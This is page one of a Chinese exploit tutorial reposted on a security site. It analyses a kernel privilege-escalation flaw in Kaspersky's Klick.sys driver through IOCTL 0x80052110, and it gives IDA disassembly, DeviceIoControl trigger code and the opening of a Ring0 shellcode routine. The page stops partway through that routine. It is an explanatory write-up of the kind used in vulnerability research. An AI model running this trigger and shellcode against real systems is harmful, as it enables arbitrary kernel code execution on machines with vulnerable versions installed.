通行证│用户名: 密码: 验证码: 验证码,看不清楚?请点击刷新验证码 电信网通铁通移动   在线
文章搜索:
热门搜索:红客 黑鹰 红客技术 安全动画 红客培训
首页 文章 软件 动画 资源 励志 论坛 邮箱 会员 军事 科技 博客 爱心红客 最近更新 800g资源
 业内新闻 漏洞公告 病毒公告 电脑知识 网络知识 菜鸟入门 攻防教程 黑客攻防 安全编程 工具使用 综合安全 个人安全 安全相关 Q Q安全 原创精华 红客人物 站内事件
您现在的位置: 爱国者安全网 >> 文章类 >> 红客教程 >> 网络编程 >> 文章正文
推荐:从卡巴漏洞管窥内核模式Shellcode的编写
责任编辑:酷酷の鱼   更新日期:2007-12-23
 

来源:gyzy's Blog

本文已经发表在《黑客防线》2007年11月刊。作者及《黑客防线》保留版权,转载请注明原始出处

适合读者:溢出爱好者
前置知识:汇编语言、Windows内核基本原理
从卡巴漏洞管窥内核模式Shellcode的编写
文/图 gyzy[江苏大学信息安全系&EST]
在用户态(Ring3)下存在的种种漏洞在内核态(Ring0)一样存在,并且有些漏洞在用户态下反而比较少见,比较典型的例子就是 DeviceIOControl畸形参数这一类的漏洞。用户态的Exploit技术是内核Exploit技术的基础,假如连用户态下Exploit的一些概念还不是很清楚的话,建议读者先了解一下用户态的Exploit和Shellcode技术,这两者虽然相似,但是还是有很大的不同,在内核态下不像用户态下有丰富的API接口函数可供调用,并且要求也更高,一不小心就会导致蓝屏。网上有很多介绍驱动本地权限提升漏洞的文章,但对于写可用的 Shellcode这个问题都回避了,这次我以卡巴NDIS-TDI Hook驱动(Klick.sys)的畸形参数漏洞为蓝本,详细讲述一下如何编写能在内核下运行的Shellcode,KIS/KAV 6.0.0.0-6.0.0.307均存在此漏洞,测试的时候注意版本。在开始之前,先来介绍一下要用到的背景知识。

背景知识
Kernel&Userland
386 及以上的CPU实现了4个特权级模式(WINDOWS只用到了其中两个),其中特权级0(Ring0)是留给操作系统代码,设备驱动程序代码使用的,它们工作于系统核心态;而特权极3(Ring3)则给普通的用户程序使用,它们工作在用户态。运行于处理器核心态的代码不受任何的限制,可以自由地访问任何有效地址,进行直接端口访问。而运行于用户态的代码则要受到处理器的诸多检查,它们只能访问映射其地址空间的页表项中规定的在用户态下可访问页面的虚拟地址,且只能对任务状态段(TSS)中I/O许可位图(I/O Permission Bitmap)中规定的可访问端口进行直接访问(此时处理器状态和控制标志寄存器EFLAGS中的IOPL通常为0,指明当前可以进行直接I/O的最低特权级别是Ring0)。以上的讨论只限于保护模式操作系统,象DOS这种实模式操作系统则没有这些概念,其中的所有代码都可被看作运行在核心态。处理器模式从Ring3向Ring0的切换发生在控制权转移时,有以下两种情况:访问调用门的长转移指令CALL,访问中断门或陷阱门的INT指令。具体的转移细节由于涉及复杂的保护检查和堆栈切换,不再赘述,请参阅相关资料。现代的操作系统通常使用中断门来提供系统服务,通过执行一条陷入指令来完成模式切换,在 INTEL X86上这条指令是INT,如在WIN9X下是INT30(保护模式回调),在Linux下是INT80,在WINNT/2000下是INT2E。用户模式的服务程序(如系统DLL)通过执行一个INTXX来请求系统服务,然后处理器模式将切换到核心态,工作于核心态的相应的系统代码将服务于此次请求并将结果传给用户程序。

NativeAPI
本机API是除了Win32 API,NT平台开放的另一个接口。本机API它运行在Ring0层,拥有没有限制的操作权限,因此微软出于安全考虑并没有发布支持这种应用的开发方法。 Win32 API中的所有调用最终都转向了ntdll.dll,再由它转发至ntoskrnl.exe。ntdll.dll是本机 API用户模式的终端。真正的接口在ntoskrnl.exe里完成。事实上,内核模式的驱动大部分都在调用这个模块。Ntdll.dll的主要作用就是让内核函数的特定子集可以被用户模式下运行的程序调用。Ntdll.dll通过软件中断int 2Eh进入ntoskrnl.exe,也就是通过中断门切换CPU特权级。

Windows的APC机制
APC是“异步过程调用 (Asyncroneus Procedure Call)”的缩写。从大体上说,Windows的APC机制相当于Linux的Signal机制,实质上是一种对于应用软件(线程)的“软件中断”机制。但是读者将会看到,APC机制至少在形式上与软件中断机制还是有相当的区别,而称之为“异步过程调用”确实更为贴切。APC与系统调用是密切连系在一起的,在这个意义上APC是系统调用界面的一部分。然而APC又与设备驱动有着很密切的关系。例如,ntddk.h中提供“写文件”系统调用 ZwWriteFile()、即NtWriteFile()的调用接口:
NTSYSAPI
NTSTATUS
NTAPI
ZwWriteFile(
IN HANDLE FileHandle,
IN HANDLE Event OPTIONAL,
IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,
IN PVOID ApcContext OPTIONAL,
OUT PIO_STATUS_BLOCK IoStatusBlock,
IN PVOID Buffer,
IN ULONG Length,
IN PLARGE_INTEGER ByteOffset OPTIONAL,
IN PULONG Key OPTIONAL
);
这里有个参数ApcRoutine,这是一个函数指针。什么时候要用到这个指针呢?原来,文件操作有“同步”和“异步”之分。普通的写文件操作是同步写,启动这种操作的线程在内核进行写文件操作期间被“阻塞(blocked)”而进入“睡眠”,直到设备驱动完成了操作以后才又将该线程“唤醒”而从系统调用返回。但是,如果目标文件是按异步操作打开的,即在通过W32的API函数CreateFile()打开目标文件时把调用参数 dwFlagsAndAttributes设置成FILE_FLAG_OVERLAPPED,那么调用者就不会被阻塞,而是把事情交给内核、不等实际的操作完成就返回了。但是此时要把ApcRoutine设置成指向某个APC函数。这样,当设备驱动完成实际的操作时,就会使调用者线程执行这个APC函数,就像是发生了一次中断。

漏洞分析
漏洞出现卡巴的NDIS-TDI Hook驱动(Klick.sys)中,该驱动在处理0x80052110号IO请求时未对参数进行足够的验证,导致非特权用户能够以Ring0权限执行任意代码,这种类似的漏洞已经暴露过不少,在定位问题代码的时候可以在IDA中直接以文本搜索80052110,问题代码如下:
.text:00011740 mov [ebp+var_8], ebx
.text:00011743 jz loc_11988
.text:00011749 cmp eax, 80052108h
.text:0001174E jz loc_1195E
.text:00011754 cmp eax, 8005210Ch
.text:00011759 jz loc_1194A
.text:0001175F cmp eax, 80052110h
.text:00011764 jz loc_117F8
此处代码是驱动的Dispatch例程中对IO代码处理的一个Switch Case判断,看看loc_117F8处的处理代码:
.text:000117F8 loc_117F8: ; CODE XREF: sub_1172A+3Aj
.text:000117F8 mov esi, [ebp+arg_4]
.text:000117FB cmp esi, ebx
.text:000117FD jz loc_119B0
.text:00011803 cmp [ebp+arg_8], 8
.text:00011807 jb loc_119B0
.text:0001180D mov eax, [ecx]
.text:0001180F push ebx
.text:00011810 call dword ptr [eax+14h]
.text:00011813 mov edi, eax
.text:00011815 cmp edi, ebx
.text:00011817 jz loc_1199F
.text:0001181D mov eax, [edi]
.text:0001181F mov ecx, edi
.text:00011821 call dword ptr [eax+4]
.text:00011824 push dword ptr [esi+4]
.text:00011827 mov ecx, edi
.text:00011829 push dword ptr [esi]
.text:0001182B call sub_15306
注意此时的 [ebp+arg_4]也就是esi是第二个参数,指向用户提交的lpInBuffer,请看DeviceIOControl的原型:
BOOL DeviceIoControl( HANDLE hDevice,
DWORD dwIoControlCode,
LPVOID lpInBuffer,
DWORD nInBufferSize,
LPVOID lpOutBuffer,
DWORD nOutBufferSize,
LPDWORD lpBytesReturned,
LPOVERLAPPED lpOverlapped );
跟入sub_15306:
.text:00015306 push ebp
.text:00015307 mov ebp, esp
.text:00015309 sub esp, 20h
.text:0001530C push ebx
.text:0001530D push esi
.text:0001530E push edi
.text:0001530F mov esi, ecx
.text:00015311 call sub_1555A
.text:00015316 mov ecx, [ebp+arg_4]
.text:00015319 lea edi, [esi+10h]
.text:0001531C mov [esi+1ECh], ecx
.text:00015322 push ecx
.text:00015323 lea ecx, [esi+1B8h]
.text:00015329 mov [esi+1F0h], eax
.text:0001532F mov [edi], eax
.text:00015331 mov eax, [ebp+arg_0]
.text:00015334 push ecx
.text:00015335 push edi
.text:00015336 mov [esi+1ACh], eax
.text:0001533C call eax //注意这一条语句,eax指向用户提交的参数
00015331处的语句将用户态下传进来的指针传到了eax寄存器,由于没有做任何参数的有效性检查,导致了可以执行任意代码。

Exploit编写
现在剩下的就是执行什么代码的问题了,只要把函数指针传递给通过DeviceIOControl传递给驱动即可,由于是Ring0权限,普通的 Shellcode就不能用,这个时候我们就只能使用背景知识中介绍的本机API,大致实现的方案有两种:1.所有的功能都在内核态实现 2.在内核态向用户态插入代码。显然,第一种方法不太容易实现,这指的是功能较为复杂的Shellcode,例如:下载执行,绑定端口等等。只是权限提升的话网上已经有大牛给出了现成的代码。假如Shellcode较为复杂,第2种方法的优势就体现出来了,kernel下的Shellcode只是作为一个 loader,负责将Ring3下的Shellcode插入到Ring3下的某个进程中。这儿我只介绍第2种方法的实现,POC代码是一个台湾的网友修改自一个老外的,不过里面有一些小Bug,在调试的过程中害得我蓝屏了无数次。触发漏洞的代码非常简单,只有聊聊数行:
hDevice = CreateFile("\\\\.\\KLICK",0,0,NULL,3,0,0);
InSize = 0x8;
InBuff[0] =(DWORD) Ring0Shellcode;
dwIOCTL = 0x80052110;
DeviceIoControl(hDevice, dwIOCTL, InBuff,0x8,(LPVOID)NULL,0,&junk, NULL);
可能有读者会问为什么InBuff的大小是8,在上面驱动的反汇编代码中就能找到答案。剩下就是编写Ring0Shellcode的问题了, Ring0Shellcode主要是完成几个功能:将Usermode的Shellcode拷贝到目标进程,初始化一个APC,将此APC插入到 Ring3下的线程中,然后将驱动所在线程挂起,防止其继续执行导致蓝屏。用到的API函数有如下几个:ExAllocatePool、 KeInitializeApc、KeInsertQueueApc、ZwYieldExecution、 KeDelayExecutionThread。代码如下,为照顾初学者,已经加入了详细的注释:
void _declspec(naked) Ring0Shellcode()
{
//加入naked关键字是告诉编译器不要添加额外的建立栈帧等代码
__asm
{
nop
nop
nop
nop
nop
nop
nop
nop

mov eax,fs:[0x124] //TEB
mov esi,[eax+0x44] //EPROCESS
mov eax,esi

[1] [2] 下一页

  • 上一篇文章:
  • 下一篇文章:
  • 最近更新
    固顶文章 爱国者安全网2007年度优秀版主评选
    普通文章 瑞星公司01月11日发布 每日计算机病毒及木马播报
    普通文章 破解博彩神助(专注彩票) V2.8.01
    推荐文章 推荐:跨站脚本执行漏洞代码的六点思路
    普通文章 Windows系统下的远程堆栈溢出 实战篇
    普通文章 Windows系统下的远程堆栈溢出 原理篇
    普通文章 MsSQLServer是如何加密口令的
    普通文章 浅谈国内的渗透评估过程
    普通文章 Dvbbs8.1 0DAY(通杀Access和mssql版本)
    普通文章 微软:我们的代码比赛门铁克更安全
    热门文章
    普通文章REAL蛀虫利用播放器漏洞下载恶意程序
    普通文章李彦宏:中国要在互联网领域逐渐超越美国
    普通文章马云:阿里巴巴的成功是一个生态链的成功
    普通文章Ingres用户认证非授权访问漏洞
    普通文章TCPreen FD_SET()函数远程栈溢出漏洞
    普通文章Winace UUE文件解压堆溢出漏洞
    普通文章Pclxav木马猎手第一代特征码引擎源代码
    普通文章IE收藏夹管理小精灵算法分析
    普通文章Extra Drive Pro算法分析历程
    普通文章雨过天晴自我注册
    精彩专题